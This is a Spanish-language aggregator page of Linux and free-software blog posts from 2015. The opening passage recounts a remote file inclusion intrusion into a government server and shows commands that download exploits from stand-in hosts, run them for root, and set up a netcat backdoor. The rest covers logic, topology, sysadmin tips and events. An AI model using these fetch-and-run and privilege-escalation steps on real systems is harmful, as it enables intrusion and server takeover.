    Una de las (des)ventajas de cuando están activados los mensajes de error, es que te enseñan el error cómo tal y una posible solución, aquí no encontraba la variable $Pagina, la cual estaba mal implementada y permitió incluir el archivo remoto (shell):

    RFI - Shell php

    Una vez obteniendo que la shell interactue con el servidor, lo siguiente es sacar información, que por lo que vemos en esos ayeres, era un kernel 2.6.16.13-4smp del año 2006, que en cuestión de 10 minutos podría ser rooteado:

    $ cd /tmp
    $ wget http://evilpageee.kom/r0nin
    $ chmod 777 r0nin
    $ ./r0nin
    
    ##Ahora ponemos el nc a escucha del puerto que use tu backdoor 
    
    $ pwd 
    /
    $ id
    uid=99(nobody) gid=99(nobody) groups=99(nobody) 
    $ cd /tmp 
    $ wget http://evilpagee.k0m/xploit
    
        Connecting to evilpagee.k0m:80... connected! HTTP request sent, awaiting response... 200 OK Length: 11,800 0K .......... .... 100% @ 70.79 KB/s 22:17:19 (71.45 KB/s) - "xploit" saved [14860/14860]
    ...
    
    $ chmod 777 xploit 
    $ ./xploit 
    
        Attached to 30330 
        Waiting for signal 
        Signal caught 
        Shellcode placed at 0x40111aed 
        Now wait for suid shell...  
    
    $ id 
        uid=0(root) gid=0(root) groups=0(root) 
    # Breve resumen de un rooteado en aquellos años

    Una vez obteniendo r00t y llegar hasta la cocina es cuestión de cambiar permisos/grupo al usuario, y voala:

    qroo Root

    ¿Y todo esto cómo fue posible?

    La pregunta del millón, ¿cómo alguien puede obtener el control de un servidor?: Una simple linea de código, comprometió todo un servidor.

    bug_code

    La variable $Pagina quedo flotando, fue lo que nos permitió explotar esta técnica de inclusión de archivos remotos (en aquellos años maravillosos). Lamentablemente este tipo de problemas a pesar de los años todavía persisten (no me refiero al RFI), programadores/desarrolladores dejan activos estos tipos de mensajes de error en sitios ya en producción, que para una persona con fines maliciosos, podría tener el control de un servidor (en este caso de gobierno) y no dejar un mensaje modificando el index de la pagina principal, sí no aprovechando sus recursos o obteniendo información confidencial.

    happy hacking!!

    Domingo 17 de mayo de 2015

    Eduardo Ruiz Duarte

    Eduardo Ruiz Duarte
    beck's site

    Fórmula de Barcán y filosofía analítica a través de lógica modal

    Hoy hablaré de una fórmula ubicua en lógica modal y muchas teorías de filosofía, de hecho tiene consecuencias impresionantes en cuando a la visión del mundo y nuestro entorno

    Fórmula de Barcán: 

    $latex \forall x\square Px\rightarrow \square \forall x P x$
    Si todo necesariamente es $latex P$ entonces necesariamente todo es P

    Equivalente tenemos:
    $latex \lozenge \exists x P x \rightarrow \exists x \lozenge P x$

    Posiblemente hay un $latex x$ que es $latex P$ entonces existe un $latex x$ que posiblemente es $latex P$

    Esta Fórmula es muy usada en Lógica modal y tiene impacto directo en filosofía ya que como recordarán en lógica modal tienes los operadores cuadrado y rombo

    La lógica modal se usa para estudiar también teoría de decisiones por ejemplo en ingeniería se puede combinar con lógica difusa (o borrosa como le digan)

    Operador modal $latex \square$
    Denota cuando una verdad es "necesaria" lo cual significa que en todos los posibles escenarios... mundos... siempre es verdadero...  como por ejemplo el hecho de que algún día vamos a morir, o el hecho de que "llueve o no llueve" eso siempre sucederá no importa lo que pase, lo cual en general es como "P o no P" (Pv~P)

    Operador modal $latex \lozenge$
    El operador rombo es posibilidad, es cuando una verdad puede ser posible en algún mundo pero no en todos, como el hecho de ser una persona exitosa o que llueva en otoño.

    Tengo un post relacionado con los teoremas de incompletud de Gödel donde explico toda la lógica simbólica y semántica de manera muy resumida aquí


    Importancia e impacto
    La importancia de la fórmula de Barcán es que afirma algo raro, que si hay un objeto o situación que pueda existir en todos los mundos posibles (incluyendo nuestro mundo actual) entonces DEBE existir forzosamente en nuestro mundo actual.

    Entonces, esto tiene como consecuencia... que no existen las posibilidades... que todo es "actual" , y lo que es actual es lo que pudo haber existido bajo todas las circunstancias... y de hecho esta pequeña fórmula hace nacer una rama de la filosofía que le llaman "Actualismo" y por consiguiente su negación que se llama "Posibilismo" o "Realismo modal"

    Este tipo de argumentos, y lógica la usó Gödel para demostrar que existe un dios lo cual lo tengo explicado y demostrado aquí  bajo el principio de plenitud "Si algo tiene posibilidades de suceder, eventualmente sucederá" , es casi suficiente el suponer esto para demostrar la existencia de dios con lógica modal.


    La discusión de la implicación al otro lado de la fórmula de Barcán la pueden ver en este hermoso paper de Melvin Fitting.

    Eduardo Ruíz Duarte (beck)
    twitter: @toorandom

    Saludos


    Sábado 16 de mayo de 2015

    Alex Callejas

    Alex Callejas
    |rootzilopochtli.com|

    FLISol +CCD 2015

    FLISOL CCD JPG Originales_00001

    El pasado 26 de Abril se llevó a cabo el Festival Latinoamericano de Instalación de Software Libre (FLISoL), en el cual tuve el honor de participar, dando la plática/taller: SELinux para todos.

    Quiero aprovechar para agradecer la invitación y todas las facilidades: a la organizadora Wendy, al buen Ricardo, a los amigos de Eva FedoraEfrén y Ricardo, Omar un excelente fotógrafo (mi foto me encantó!!) y a todos los demás que participaron en el festival, quienes lo hicieron de forma increíble.

    17100081119_a81399cd17_b

    Pueden checar las fotos del evento en la página oficial: www.flisolccd.org, así como en el facebook del blog.
    Para mi plática/taller, también, tuve el gran apoyo de Thomas CameronDan Walsh, a quienes quiero agradecer públicamente por haberme apoyado, compartiendo amablemente su material. Además, mis compañeros de Red Hat México (Muchas gracias Hugo, Andrés, Jules y Lucecita!!!), quienes me apoyaron con souvenirs, además de la oportunidad de tomar un curso oficial para uno de los asistentes, el ganador fue Jonathan Escalante:

    16663823854_70c5d06562_b

    Quién ya tomó el curso Red Hat System Administration II. Felicidades!!!

    Les dejo el material de la plática, así como algunos extras:

    Bonus:

    Durante la presentación les hable un poco de OpenShift, el cuál es otro de los proyectos en los que estoy trabajando, el año pasado en un evento hice una par de presentaciones, una de las cuales fue acerca de este proyecto. Les comparto el vídeo de dicha presentación:

    Ver en YouTube

    Además del material de la misma.

    Espero les sirva

    Jueves 14 de mayo de 2015

    Gunnar Wolf

    Gunnar Wolf
    Gunnar Wolf

    Everybody seems to have an opinion on the taxis vs. Uber debate...

    The discussion regarding the legality and convenience of Uber, Cabify and similar taxi-by-app services has come to Mexico City — Over the last few days, I've seen newspapers talk about taxi drivers demonstrating against said companies, early attempts at regulating their service, and so on.

    I hold the view that every member of a society should live by its accepted rules (i.e. laws) — and if they hold the laws as incorrect, unfair or wrong, they should strive to get the laws to change. Yes, it's a hard thing to do, most often filled with resistence, but it's the only socially responsible way to go.

    Private driver hiring applications have several flaws, but maybe the biggest one is that they are... How to put it? I cannot find a word better than illegal. Taxi drivers in our city (and in most cities, as far as I have read) undergo a long process to ensure they are fit for the task. Is the process incomplete? Absolutely. But the answer is not to abolish it in the name of the free market. The process must be, if anything, tightened. The process for granting a public driver license to an individual is way stricter than to issue me a driving license (believe it or not, Mexico City abolished taking driving tests several years ago). Taxis do get physical and mechanical review — Is their status mint and perfect? No way. But compare them to taxis in other Mexican states, and you will see they are in general in a much better shape.

    Now... One of the things that angered me most about the comments to articles such as the ones I'm quoting is the middle class mentality they are written from. I have seen comments ranging from stupidly racist humor attempts (Mr. Mayor, the Guild of Kidnappers and Robbers of Iztapalapa demand the IMMEDIATE prohibition on UBER as we are running low on clients or the often repeated comment that taxi drivers are (...) dirty, armpit-smelly that listen to whatever music they want) to economic culture-based discrimination Uber is just for credit card users as if it were enough of an argument... Much to the opposite, it's just discrimination, as many people in this city are not credit subjects and do not exist in the banking system, or cannot have an always-connected smartphone — Should they be excluded from the benefits of modernity just because of their economic difference?

    And yes, I'm by far not saying Mexico City's taxi drivers are optimal. I am an urban cyclist, and my biggest concern/fear are usually taxi drivers (more so than microbus drivers, which are a class of their own). Again , as I said at the beginning of the post, I am of the idea that if current laws and their enforcement are not enough for a society, it has to change due to that society's pressure — It cannot just be ignored because nobody follows the rules anyway. There is quite a bit that can be learnt from Uber's ways, and there are steps that can be taken by the company to become formal and legal, in our country and in others where they are accused of the same lacking issues.

    We all deserve better services. Not just those of us that can pay for a smartphone and are entitled to credit cards. And all passenger-bearing services require strict regulations.

    Lunes 11 de mayo de 2015

    Monitor

    Diagrama de estados de Monitor

    Diagrama de estados de Monitor

    Monitor es un script escrito en puro Bash que permite dejar a la PC monitoreando el resultado de una instrucción. A diferencia de watch, no se trata de estar vigilando la salida de la instrucción, sino de detectar el momento en que ocurre la falla y ejecutar instrucciones cuando el servicio vigilado se cae o se levanta.

    Monitor fue escrito para vigilar servicios con fallas de naturaleza aleatoria. En ocasiones el problema dura poco y no es fácil tomar una muestra del sistema justo cuando el problema ocurre.

    Además, este tipo de situaciones tiene algunas características:

    • Se quiere saber cuándo se cayó y cuándo se volvió a levantar el servicio para saber en qué sección de las bitácoras buscar.
    • Se quiere tomar acción cuando se detecta otra caída. Estas acciones pueden ser toma de diagnósticos o envío de alertas.
    • Suele necesitarse ser tolerante a oscilaciones pasajeras; por ejemplo, un ping perdido no implica una caída de un equipo.

    Si bien este tipo de vigilancia se resuelve fácilmente con un while de Bash, éste puede volverse rápidamente complejo y no es divertido estar depurándolo cada que uno se ve en la necesidad. Además, es posible cometer errores al programar la lógica del while y no darnos cuenta hasta cuando el problema original ya volvió a ocurrir y no obtuvimos la monitorización esperada.

    Con Monitor, la lógica está establecida y comprobada. Sólo basta indicar qué instrucción queremos monitorizar.

    El código está disponible en Github: https://github.com/alvarezp/monitor

    Ejemplo

    En un hipotético problema perdemos comunicación con nuestro propio host y no sabemos por qué. Sospechamos que un proceso corriendo en nuestra máquina está insertando reglas de iptables que resultan en el bloqueo de esta comunicación.

    Utilicemos monitor.bash para vigilar el resultado de un ping a localhost y que en caso de caída confirmada se tome una muestra de iptables.

    # monitor.bash --rest-time 1 --on-down 'iptables-save' 'ping localhost -c 1 -w 1 >/dev/null 2>&1'
           INIT 2015-11-05 15:21:58 PDT lun
             UP 2015-11-05 15:21:58 PDT lun
         ---- el proceso misterioso aplica iptables -A INPUT -i lo -p icmp -j DROP ----
    FALLINGDOWN 2015-11-05 15:22:13 PDT lun
    # Generated by iptables-save v1.4.21 on Mon May 11 15:22:17 2015
    *filter
    :INPUT ACCEPT [74:70608]
    :FORWARD ACCEPT [0:0]
    :OUTPUT ACCEPT [67:5781]
    -A INPUT -i lo -p icmp -j DROP
    COMMIT
    # Completed on Mon May 11 15:22:17 2015
           DOWN 2015-11-05 15:22:17 PDT lun
         ---- el proceso misterioso aplica iptables -F INPUT ----
    RAISINGBACK 2015-11-05 15:22:32 PDT lun
             UP 2015-11-05 15:22:36 PDT lun

    Da la impresión que iptables-save se ejecuta después de quedar en FALLINGDOWN, pero en realidad se ejecuta justo al entrar en DOWN.

    Ya tenemos fechas y horas para buscar en bitácoras y algo de evidencia para profundizar en el diagnóstico.

    Héctor Daniel Cortés

    Héctor Daniel Cortés
    'Aztec Eagle' Turbo

    Recovering a RAID5... again!

    # mdadm --create --readonly --assume-clean --metadata=0.90 --bitmap=none --level=5 --raid-devices=4 --chunk=256 /dev/md126 /dev/sd{c,b,a,d}2
    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    ICWATCH: Espiando a los espías

    Un adolescente de 21 años  acaba de exponer 27 mil perfiles de LinkedIn de personas que trabajan en el sector de inteligencia. Lo hizo hace pocos días en re:publica, una de las conferencias más importantes a nivel global sobre cultura digital –este año tuvo 800 expositores de 45 países distintos para sus cerca de seis mil visitantes, ... Read more

    The post ICWATCH: Espiando a los espías appeared first on TuCancUnix.

    Jueves 07 de mayo de 2015

    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    JetPack y TwentyFifteen Vulnerable a DOM-based XSS

    JetPack y TwentyFifteen vulnerables. Cualquier Plugin de WordPress o tema que aprovecha el paquete genericons es vulnerable a una DOM-based Cross-Site Scripting (XSS) debido a un archivo inseguro incluido con genericons. Hasta el momento, el plugin JetPack (informó de que tiene más de 1 millón de instalaciones activas) y el tema TwentyFifteen (instalado por defecto) se ... Read more

    The post JetPack y TwentyFifteen Vulnerable a DOM-based XSS appeared first on TuCancUnix.

    Miércoles 06 de mayo de 2015

    Particiones a la antigua y Debian 8 (Jessie)

    Y ni escribí de su salida, este año no me aviso aptlist ya que desde wheezy, bueno un poco antes estoy usando unattended-upgrades y por lo tanto cambie mis sources.lst en casa ya actualice mis máquinas y excepción hecha de mi Classmate la cosa ha ido bien, de hecho me encontré con un problema interesante. En casi todas mis actualizaciones uso ttyrec + screen en lugar de script como se sugiere en los release notes, esta ocasión use script y ya recordé porque lo uso, en una máquina perdí la conexión por reinicio del modem y recuperar el asunto fue cosa de dar kill -9 a apt-get dist-upgrade que ya estaba configurando y lo demás se tuvo que arreglar con dpkg.

    Del problema interesante en mi máquina de almacenamiento, que empezó como firewall, proxy con un disco muy pequeño, mi partición / que incluye /root /lib /boot y /lib64 es muy pequeña, como de unos 400MB entonces el nuevo kernel de plano no entraba, esto en sda1, después tengo una partición extendida y 7 particiones más esto en un disco de 500GB y entre estas hacia el final el /home con unos 450GB… en un primer momento pensé en usando gparted en hacer más pequeña la partición extendida de 450GB y moverla hacia la izquierda para hacer más grande sda1 / y en eso estaba cuando me di cuenta que en lugar de seleccionar la partición extendida completa lo que había movido solo era sda8 es decir el home lo cual se llevó casi dos horas.

    Como ya bastante de malas, recordé que el cambiar el tamaño desde ext3 es rápido y en ext4 fue muy rápido, me quede pensando bueno el raíz sigue en sda1 porque cuando instale esta maquina era complicado arrancar de una partición extendida y lilo tenía problemas, si quien lea esto se preguntara que diantres es lilo y eso me dio la respuesta, hace mucho que la organización en este disco ya no es la única posible, así que ya movida la partición y de 430GB ahora tenía 30GB libres sin asignar y por los cálculos como 4 horas si quería intentar el mover, cree una par de nuevas particiones para arreglar otros pendientes y termine con el raíz en sda9 con algo así como 5GB por supuesto tuve que modificar fstab y grub (esto usando RIP-linux, pero un disco de instalación más o menos hace el truco) arreglado esto cosa de formatear sda9 montar y copiar el contenido de sda1 a sda9, desmontar, hacer chroot en /sda9 editar fstab montar /usr/ para poder usar blkid , montar /proc y /sys dpk-reconfigure grub-pc y como me falto una cosa update-grub salir del chroot, desmontar, cosa que hace shutdown –r now y listo, sigo teniendo por ahí sda1 perdida y sin usar pero me ahorro varias horas y me parece una solución útil en el caso de haber planeado una instalación cuando Debian/Linux era mucho más pequeño.

    En todo caso en la oficina voy a esperar a terminar el semestre antes de actualizar, ya que tengo bastantes cosas corriendo y aunque ya leí los posibles problemas que puedo enfrentar, con apache, mysql, sysstat y otros prefiero trabajar con ellos con calma, ya que ahora no soy yo el único usuario estamos corriendo cosas que utilizan bastantes usuarios… y no es buena idea mezclar eso con el fin de semestre.

    Jueves 30 de abril de 2015

    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    POSH-SECMOD: Herramientas de seguridad en PoweShell

    Uno de los primeros y más potentes frameworks de seguridad en powershell es Posh-SecMod, creado por Carlos Perez este conjunto de herramientas facilita decenas de tareas para cualquier experto en seguridad. Las funciones están divididas en distintas categorías: Discovery; con descubrimiento de redes, Parse; importa resultados de otras herramientas como Nmap o DNSRecon, PostExplotation; funciones ... Read more

    The post POSH-SECMOD: Herramientas de seguridad en PoweShell appeared first on TuCancUnix.

    Viernes 24 de abril de 2015

    José Oviedo

    José Oviedo
    oviedo.mx

    Codeigniter: Only variable references should be returned by reference

    Después de actualizar mi versión de PHP a la 5.6.4 mis paginas en Codeigniter me mostraban este error:

    A PHP Error was encountered
    Severity: Notice
    Message: Only variable references should be returned by reference
    Filename: core/Common.php
    Line Number: 257

    La solución esta en modificar la linea 257 que esta en el archivo system/core/Common.php en donde veremos algo asi:

    return $_config[0] =& $config;

    Y remplazar por este codigo:

    $_config[0] =& $config;
    return $_config[0];

    Listo!! adiós a la noticia en PHP.

    Jueves 23 de abril de 2015

    José Oviedo

    José Oviedo
    oviedo.mx

    Linux: Reactivar Control+ALT+Retroceso para reiniciar servidor X en Linux

    Por si no sabias, puedes reiniciar tu servidor X presionando las teclas “Ctrl+Alt+Retroceso”, de que sirve, pues cuando esta trabado todo todo, al reiniciar el servidor X puedes casi siempre volver a la normalidad y volver a iniciar sesión.

    Ahora, si por alguna razón no funciona esta combinación de teclas (en las ultimas versiones de Ubuntu por ejemplo, no sirve), aquí esta la forma de volver a activar esta opción.

    En la terminal escribir:

    sudo dpkg-reconfigure keyboard-configuration

    Te van a aparecer muchas opciones, puedes ignorar todas.., excepto cuando llegue a la parte que te dice:

    Por omisión la combinación Control+Alt+Retroceso no hace nada. Si lo desea, puede utilizarse para terminar el servidor X.

    ¿Desea utilizar Control+Alt+Retroceso para terminar el servidor X?

    Despúes, activar la opción de SI, y listo!…, a probar el comando (todo lo que tengas abierto se cerrara en automático)

    Eduardo Ruiz Duarte

    Eduardo Ruiz Duarte
    beck's site

    Teorema de dualidad de Poincaré (2/2)

    Ya por fin llegamos a la parte final, después de dos tópicos interesantes que fueron los dos posts anteriores que son la construcción de los grupos de homología y cohomología los cuales son necesarios y recomiendo les eches un ojo antes en ese orden si no lo has hecho antes de comenzar aquí, ahora voy a tratar de hacer ver el teorema de dualidad de Poincaré.

    Esto no será una demostración, sólo será una idea intuitiva, pero la demostración la pueden encontrar en cualquier texto de topología algebraica como Hatcher que creo que es el libro te texto por excelencia para topología algebraica.

    Formularemos el teorema considerando un cubo y un octaedro metidos uno en el otro



    Observaciones:

    a) Como pueden ver, en el lado izquierdo, los 6 vértices del octaedro verde tocan todas las 6 caras cuadradas del cubo rojo.

    b) Por otro lado, en la figura de enmedio, lo que ven es que los 8 vértices del cubo tocan cada una de las 8 caras del octaedro.

    c) En la última figura del lado derecho se pueden ver las dos figuras, y claramente podríamos verlo como una triangulación de las dos figuras en una esfera (complejo simplicial) $latex \mathbb{S}^2$ por lo que la dimensión en la que trabajamos es 2

    d) También pueden observar en la última figura que cada una de las aristas del octaedro toca sólo una vez a una cada una de las aristas del cubo, es decir están en correspondencia 1-1

    Entonces podemos ver que en $latex \mathbb{S}^2$ tenemos dos estructuras, la del cubo que la llamaremos $latex C$ y la del octaedro que le llamaremos $latex C^{*}$ , que corresponden a complejos de cadenas y podemos comenzar a intuir la dualidad.

    Deducciones de complejos de cadenas en cubo y octaedro.

    Del punto d) podemos decir que las aristas , es decir , las $latex 1$-cadenas son iguales en $latex C$ y $latex C^{*}$ , por lo que $latex C_{1}=C^{*}_{1}$ , ya que estan en correspondencia 1-1 entre el octaedro y el cubo.

    Del punto a) Vemos que las caras del cubo (2-cadenas) están 1-1 con los vértices (0-cadenas) del octaedro, por lo que $latex C_2=C^{*}_0$

    De punto b) pueden ver que cada cara (2-cadena) del octaedro toca a cada vértice (0-cadenas) del cubo por lo que $latex C^{*}_2 = C_0$

    Calcular homología y cohomología 

    Ya estamos listos para calcular cohomología y homología, en la parte 1 calculamos la homología en $latex \mathbb{Z}$ para poder usar signos y preservar orientación, esta vez lo haremos sobre $latex \mathbb{F}_2$ para que sea más sencillo, es decir, nos olvidamos de la orientación de los símplices por un momento.

    Entonces tenemos la sucesión con el mapeo frontera $latex \partial$ que manda a las sumas de las fronteras con respecto a caras, aristas, vértices y su respectivo mapeo dual como ya lo definimos en la parte 1.5 (post anterior) de esta serie de post

    $latex C_2 \xrightarrow[]{\partial_2} C_1 \xrightarrow[]{\partial_1} C_0$

    $latex C^{*}_2 \xleftarrow[]{\delta_2}C^{*}_1\xleftarrow[]{\delta_1}C^{*}_0$

    Recomendación para la visualización y motivación siguiente:
    Fija una cara en los dibujos del cubo (yo fijaría la de hasta arriba) y observa la descripción siguiente
    en términos de sus aristas y vértices, así como el vértice dual de la cara del cubo en el octaedro.

    Entonces ahora tenemos que $latex \partial_2$ toma una cara y lo mandará a la suma de sus fronteras que son $latex 1$-cadenas (Aristas), y en cohomología , el mapeo $latex \delta_0$ mandará un vértice  del octaedro hacia las aristas del octaedro que son adyacentes a ese vértice, es decir lo manda a un elemento del grupo libre $latex C^{*}_1$

    Entonces tenemos que aplicando el operador frontera a una cara (2-cadena) del $latex C$, fija una cara de $latex C$ que la denotamos como $latex \square$ y sus aristas denotadas como $latex \mid_i$ y a los vértices de $latex C$ correspondientes a la arista $latex \mid_j$ los denotamos como $latex \bullet^{j}_1$ y $latex \bullet^{j}_2$.

    $latex \partial_2(\square)=\mid_1+\mid_2+\mid_3+\mid_4$
    $latex \partial_1(\mid_1)=\bullet^{1}_1+\bullet^{1}_2$

    Tenemos que por las observaciones, a $latex \square$ le corresponde un vértice en $latex C^{*}$
    el mapeo $latex \delta$ lo que hará será asignar a una $latex n-1$-cadena, la $latex  n$-cadena que la contiene, es decir por ejemplo, una arista del octaedro la mandaria a las caras de las cuales es frontera esa arista, entonces si denotamos las caras del octaedro como $latex \triangle$ sus aristas como $latex \dagger_i$ y a sus vértices como $latex \star^{i}_1$ y $latex \star^{i}_2$

    Tenemos que por la observación a) tenemos que a $latex \square$ en $latex C$ le corresponde $latex \star$ en $latex C^{*}$

    por lo que

    $latex \delta_1(\star) = \dagger_1 + \dagger_2 + \dagger_3 + \dagger_4$

    ya que asigna ese vértice del octaedro a sus aristas que lo contienen.

    $latex \delta_2(\dagger_1 + \dagger_2)=\triangle_1 + \triangle_2$

    Es decir, de manera analoga, las dos aristas lo mandan a la cara que las contiene.

    Entonces tenemos que el mapeo $latex \delta_2$ hace lo mismo que el mapeo $latex \partial 0$ , y el mapeo $latex \delta_1$ lo mismo que $latex \partial_1$


    Entonces, tenemos que

    $latex C_2 \xrightarrow[]{\partial_2} C_1 \xrightarrow[]{\partial_1} C_0$   (Homología)

    $latex C^{*}_2 \xleftarrow[]{\delta_2}C^{*}_1\xleftarrow[]{\delta_1}C^{*}_0$ (Cohomología)

    Y si calculamos todos los mapeos como lo hicimos tenemos que los grupos de homología y cohomología se comportan así:


    $latex H_0(C)\cong H^{2}(C^{*},\mathbb{F}_2)$
    $latex H_1(C)\cong H^{1}(C^{*},\mathbb{F}_2)$
    $latex H_2(C)\cong H^{0}(C^{*},\mathbb{F}_2)$
    $latex ker\partial_{r}/Im\partial_{r+1}=H_r(C)\cong H^{2-r}(C^{*},\mathbb{F}_2)=ker\delta_{2-r+1}/Im\delta_{2-r}$

    Aquí tenemos que todo esto era sobre $latex \mathbb{S}^{2}$ es decir $latex n=2$

    Esto NO es casualidad, de hecho huele... no huele, apesta a teorema y es un teoremón.


    Teorema de dualidad de Poincaré

    Si $latex X$ es una variedad orientable y cerrada de dimensión n (compacta, sin frontera como $latex \mathbb{S}^{2}$ o un n-toro) entonces su cohomología y homología están relacionadas así:

    $latex H_k(X)\cong H^{n-k}(X^{*},G)$


    Esto lo pueden experimentar ustedes, por ejemplo calculen la dualidad de un icosaedro a través de su cohomología para obtener un dodecaedro, ¿existirá un objeto geométrico que sea su propio dual?  , este debería de existir... ya que todo esto yendo más lejos aún debe tener una "identidad" , y sí, de hecho es el tetraedro.

    Este resultado en topología, geometría, como podrán imaginarse los algebristas, es posible que tenga alguna equivalencia en álgebra... el semestre pasado tomé curso de geometría algebraica avanzada en la Universidad de Utrecht en Holanda y demostraron el teorema de dualidad de Serré, el cuál sólo mencionaré pero no desarrollaré ya que para eso necesitaría otros 3 posts más, pero lo que les puedo decir es que existe una relación entre el teorema de dualidad de Poincaré y el teorema de dualidad de Serré usando teoría de Hodge, de hecho aquí lo mencionan y desarrollan de manera muy aceptable.

    Teorema de dualidad de Serré
    Sea $latex E$ un haz fibrado holomorfo sobre una variedad compleja suave compacta $latex V$ de dimensión $latex n$ (Existen generalizaciones para gavillas coherentes y haces vectoriales) , entonces:

    $latex H^{q}(V,E)\cong H^{n-q}(V,\Omega_n\otimes E^{*})^{*}$

    Donde $latex \Omega_n$ es el producto cuña n veces del haz cotangente de $latex V$ (en curvas esto es directo de Riemann-Roch que lo pueden consultar aquí en mi blog y formas k formas diferenciales aquí), aquí * indica "dual" , en el mismo sentido que lo vimos aquí en esta serie de posts.

    Si les interesa más aquí tengo post de cohomología de De Rham y cohomología de grupos

    Espero les haya gustado mucho como a mi me gustó explicarlo, si hay dudas, críticas o recomendaciones favor de usar los comentarios o escribirme un correo o twitt.

    Y como fuente de todo esto es el libro de Allen Hatcher de Algebraic Topology, especificamente la parte 3.3

    Eduardo Ruíz Duarte (beck)
    twitter: @toorandom



    Martes 21 de abril de 2015

    Forzar https con .htaccess

    Tengo algunos dominios que usan https:// y están bajo cloudflare en el cual he tenido algunos problemas, elegí forzar desde el archivo .htaccess de esta manera:

    RewriteEngine On
    RewriteCond %{HTTP:X-Forwarded-Proto} =http
    RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

    Recuerda poner el archivo en el directorio principal de tu dominio o subdominio.

    Tal vez te pueda interesar este hilo con LastDragon sobre otras alternativas:

    Miércoles 15 de abril de 2015

    Alex Callejas

    Alex Callejas
    |rootzilopochtli.com|

    FLISoL CDMX 2015

    El Festival Latinoamericano de Instalación de Software Libre (FLISoL), es el mayor evento de difusión del Software Libre que se realiza desde el año 2005 en diferentes países de manera simultánea. Es una oportunidad para todas aquellas personas interesadas en conocer más acerca del software libre. Participando es posible entrar en contacto con el mundo del software libre, conocer a otros usuarios, resolver dudas e interrogantes, intercambiar opiniones y experiencias; asistir a charlas y otras actividades programadas. Como es de suponer, la asistencia al evento es totalmente libre y gratuita.

    Personalmente, es un evento al que me gusta asistir y ayudar a toda la gente que quiere acercarse al Software Libre.

    Para esta edición, estaré apoyando a los buenos amigos de Eva FedoraFree Berries en el evento que se llevará a cabo en el Centro de Cultura Digital, en la famosísima Suavicrema, dando un taller sobre uno de los temas que mas me apasiona: SELinuxEn la chamba pude conseguir un poco de patrocinio, por lo que, los asistentes, podrán llevarse un pequeño souvenir además de la oportunidad de poder tomar un curso.

    Les comparto la propaganda del taller:

    cartel_taller_selinux

    flisol-mini

    Espero me puedan acompañar.

    Martes 14 de abril de 2015

    Antonio de Dios

    Antonio de Dios
    Webadedios » Linux

    Disponible la versión del kernel Linux 4.0

    La versión estable del kernel Linux 4.0, apodada como ‘Hurr durr I’m a sheep’ llega a nosotros de la mano de la comunidad a tan solo 2 semanas desde el lanzamiento de la versión 3.19 del kernel de Linux.

    La lista de novedades no es demasiado grande. Escribe Linus:

    En cuanto a características nuevas, Linux 4.0 no es demasiado especial. La mayoría de cambios están relacionados con la nueva infraestructura para aplicar parches en el kernel; siendo realista hemos hecho muchos más cambios en otras versiones. Esta es una versión para asegurar un buen progreso en el desarrollo de futuras versiones del kernel.

    Y es que hay que recordar que tras el lanzamiento de la versión 3.19, Linus Torvalds publicó una encuesta en Google+ donde preguntaba a sus seguidores si querían seguir en la versión 3.x del kernel o dar finalmente el salto como versión 4.0 en la futura compilación y en consecuencia y  con casi 30.000 votos en la encuesta publicada desde el pasado 12 de febrero el 56% de las personas votó por un Linux 4.0 y un 44% para Linux 3.20.

    Es decir, la diferencia entre la rama 3.x y la 4.x no es mucha, y el cambio de versión es mas bien implementar un cambio de denominación, de nomenglatura

    Entre las mejoras que trae el kernel linx 4.0

    • Mejora el soporte a las nuevas CPU Intel ‘Skylake'(vendrán en la segunda mitad de 2015)
    • Mejora el rendimiento de Linux en PS3
    • Se añade soporte a los System on Chip de Intel Quark
    • Drivers TOpen-source para AMD Radeon con soporte de DisplayPort Audio.
    • Mejoras en drivers HID como los teclados compactos de Lenovo y alguna tableta gráfica Wacom.
    • Ligeros cambios en los sistemas de ficheros F2FS y BtrfFs.

    Lo que mas se toma en cuenta de este nuevo kernel, en si no son los cambios, si no la estabilidad, la versión Linux 4.0 del núcleo esté enfocada en la estabilidad y corrección de errores.

    Además el que no sea necesario reiniciar el sistema en las actualizaciones del kernel es algo que muchos administradores de sistemas están muy contentos, muy enfocado a todos los que necesiten tener el sistema encendido todo el tiempo, podrán aplicar parches de seguridad -por ejemplo- sin necesidad de reiniciar (apagar el sistema).

    .. after extensive statistical analysis of my G+ polling, I’ve come to the inescapable conclusion that internet polls are bad.

    Big surprise.

    But “Hurr durr I’ma sheep” trounced “I like online polls” by a 62-to-38% margin, in a poll that people weren’t even supposed to participate in. Who can argue with solid numbers like that? 5,796 votes from people who can’t even follow the most basic directions?

    In contrast, “v4.0″ beat out “v3.20″ by a slimmer margin of 56-to-44%, but with a total of 29,110 votes right now.

    Now, arguably, that vote spread is only about 3,200 votes, which is less than the almost six thousand votes that the “please ignore” poll got, so it could be considered noise.

    But hey, I asked, so I’ll honor the votes.

    Linux 4.0 is happening!

    fuentes:

    https://www.kernel.org/

    Jueves 26 de marzo de 2015

    Óscar A. Parra V.

    Óscar A. Parra V.
    El Canibal » Geek

    Mulaka

    Mulaka: Pueblos Originarios es un juego en 3D inspirado en la comunidad Rarámuri creado por programadores chihuahuenses.
    El Proyecto esta en Kickstarter y pretende recabar fondos para la creación del juego.

    La historia, la música y los avances del juego prometen mucho.

    Esperemos que llegue a lograr este proyecto de Lienzo Studio.

    Miércoles 25 de marzo de 2015

    Renich Bon Ciric

    HowTo: Permanently redirect a request with parameter consideration in Tengine/NginX

    Well, this one gave me a super hard time. I looked everywhere and found nothing. There is a lot of misinformation.

    As usual, the Nginx and Funtoo communities helped me. Thanks to:

    • MTecknology in #nginx @ Freenode
    • Tracerneo in #funtoo @ Freenode

    So, how do we do this? Easy, we use a map:

        # get ready for long redirects
        map_hash_bucket_size 256;
        map_hash_max_size 4092;
    
        # create the map
        map $request_uri $newuri {
            default 0;
    
            /index.php?test=1 /yes;
            /index.php?test=2 https://google.com/;
        }
    
        server {
            listen *;
            server_name test.php.g02.org;
            root /srv/www/php/test/public;
    
            # permanent redirect
            if ($newuri) {
                return 301 $newuri;
            }
    
    
            index index.php index.html;
            autoindex on;
    
            include include.d/php.conf;
    
            access_log /var/log/tengine/php-access.log;
            error_log /var/log/tengine/php-error.log;
        }
    

    So, basically, you want to use the $request_uri in order to catch the the uri with it’s parameters. I wasted all day figuring out why $uri didn’t have this. It turns out it discards the parameters… anyway.

    This one was a hard one to find. Please, share and improve!

    References

